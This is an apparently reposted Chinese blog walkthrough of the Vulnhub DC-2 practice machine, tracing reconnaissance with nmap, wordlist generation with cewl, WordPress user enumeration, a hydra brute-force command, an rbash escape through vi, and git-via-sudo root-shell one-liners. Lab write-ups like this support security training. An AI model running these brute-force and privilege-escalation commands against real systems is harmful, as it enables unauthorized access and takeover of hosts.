[渗透测试篇]Vulnhub之靶机DC-2

靶机描述

在这里插入图片描述
共有5个flag,包括最终flag.渗透任务就是跟着逐一放出的flag的hint拿到最终的flag.

实验环境

攻击机:kali
目标机:DC-2
在这里插入图片描述

涉及工具:

'netdiscover':获取目标IP
'nmap':信息收集/端口扫描/Web服务判断
'cewl':密码生成
'wpscan':WordPress漏洞黑盒扫描
'hydra':爆破

渗透思路

获取目标IP(netdiscover)

root@kali2019:~# netdiscover

在这里插入图片描述
得到目标IP地址:192.168.43.153

端口扫描(nmap)

root@kali2019:~# nmap -A 192.168.43.153

注:

#选用-A 选项之后,将检测目标主机的下述信息:
   服务版本识别(-sV)
   操作系统识别(-O)
   脚本扫描(-sC)
   Traceroute(–traceroute)

在这里插入图片描述
结果发常见的1000个端口中只有一个端口开放,即HTTP端口(80)

但是访问该地址:192.168.43.153:80的时候一直失败
在这里插入图片描述
后来经过一番折腾后才知道需要设置hosts文件才能访问

其实在端口扫描的结果中已经给出提示Did not follow redirect to http://dc-2/
只怪自己粗心没有注意细节,添加hosts:

'打开 /etc/hosts,添加或修改hosts之后保存'
  root@kali2019:~# vim /etc/hosts
'重启网络'
  root@kali2019:~# /etc/init.d/networking restart

坑1:hosts中的格式

错误配置:192.168.43.153    http://dc-2/    
正确配置:192.168.43.153    dc-2

这次通过域名访问:
在这里插入图片描述
访问后发现页面是一个wordpress,看见了flag1,flag1给出提示密码在这页面上,也就是在提醒使用cewl工具(cewl可以根据给定的URL生成密码列表)

生成密码(cewl)

使用cewl生成密码保存在当前目录的pwd.txt中:

root@kali2019:~# cewl http://dc-2/ -w pwd.txt

在这里插入图片描述
但是空有密码也没用啊,于是还得获取用户名.
之前已经知到服务器上搭建的是一个wordpress网站,所以可以想到wpscan扫描来枚举网站中的可用用户.

获取用户名(wpscan)

简介
WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。

使用wpscan枚举该网站的可用用户:

root@kali2019:~# wpscan --url http://dc-2

(这里由于工具原因在Technawi借了两张图)
在这里插入图片描述
扫描结果:
在这里插入图片描述
成功获得3个用户名:

# 保存至user.txt
admin
jerry
tom

目前为止,已经有了密码pwd.txt和用户名user.txt了.
因此,开始用hydra对wordpress登录进行暴力破解。

暴力破解(hydra)

用user.txt和pwd.txt开始爆破:

root@kali2019:~# hydra -L user.txt -P pwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

在这里插入图片描述
爆破成功,其可用用户为:

用户1:jerry  密码:adipiscing
用户2:tom    密码:parturient

尝试登录后台.

登录后台

用户名:jerry 密码:adipiscing
使用它们登录到wordpress管理员后台
在这里插入图片描述
登录成功,开始找flag
在这里插入图片描述
通过遍历管理区域后,找到了flag2
在这里插入图片描述
来到此页面,却发现了wordpress不可利用的提示,于是只好从另一用户入手了.

全端口扫描/SSH登录

由于利用wordpress插件的想法落空,所以尝试使用nmap进行完整的端口扫描:

root@kali2019:~# nmap -p- -A 192.168.43.153

结果发现还有另一个运行SSH服务的开放端口:7744
在这里插入图片描述
使用用户tom成功登录

root@kali2019:~# ssh [email protected] -p 7744

在这里插入图片描述
在目录下发现flag3.txt,在这里插入图片描述
但是用cat读取失败,于是尝试使用vi
在这里插入图片描述
读取成功,发现了一个提示,需要将用户切换为jerry.

逃脱受限shell/导入$PATH

在这里尝试使用其他命令的时候,出现错误:

-rbash: id: command not found

所以这里需要对-rbash进行绕过:

:set shell=/bin/sh
:shell

或者

:!/bin/sh

在vi中输入:set shell=/bin/sh
在这里插入图片描述
接着输入:shell
在这里插入图片描述
在成功逃离受限的shell之后,却又出现了另一个错误。

/bin/sh: 命令: not found

在这里插入图片描述
后来查阅资料发现是环境PATH变量的问题,Linux命令的路径没有出现在该变量上
在这里插入图片描述
所以这里需要导入$PATH
export PATH=/bin:/usr/bin
可以发现,错误/bin/sh: 命令: not found被成功解决了.
在这里插入图片描述

git 提权

由flag3.txt的提示可知,需要将用户切换为jerry
用户名:jerry 密码:adipiscing
在这里插入图片描述
切换成功,可是权限却不足,然后在flag4.txt的提示中发现可用git 提权.
在这里插入图片描述
使用sudo命令时,发现该用户Jerry可以以root用户身份运行git命令,而无需输入密码。
在这里插入图片描述
因此,这里可以使用git将权限提升为root用户
在这里插入图片描述
姿势1:

sudo git branch --help config
!/bin/sh

姿势2:

sudo git -p help config
!/bin/bash

姿势3:

PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help

这里使用姿势2进行提权:
在这里插入图片描述
提权成功,权限已经变成root
在这里插入图片描述
读取final-flag.txt文件的内容:
在这里插入图片描述

知识总结

使用nmap查找打开的端口和正在运行的服务。
使用cewl工具生成密码列表
使用WPSCAN枚举wordpress
使用nmap执行全端口扫描
逃脱受限shell
导入PATH环境变量
使用git工具提升权限(sudo)

DC-系列

靶机DC-1

参考文章:
Restricted Linux Shell Escaping Techniques
DC-2 vulnhub walkthrough
getshell by gtfobins

0wl
原创文章 31 获赞 12 访问量 1573

猜你喜欢

转载自blog.csdn.net/qq_43668710/article/details/106046153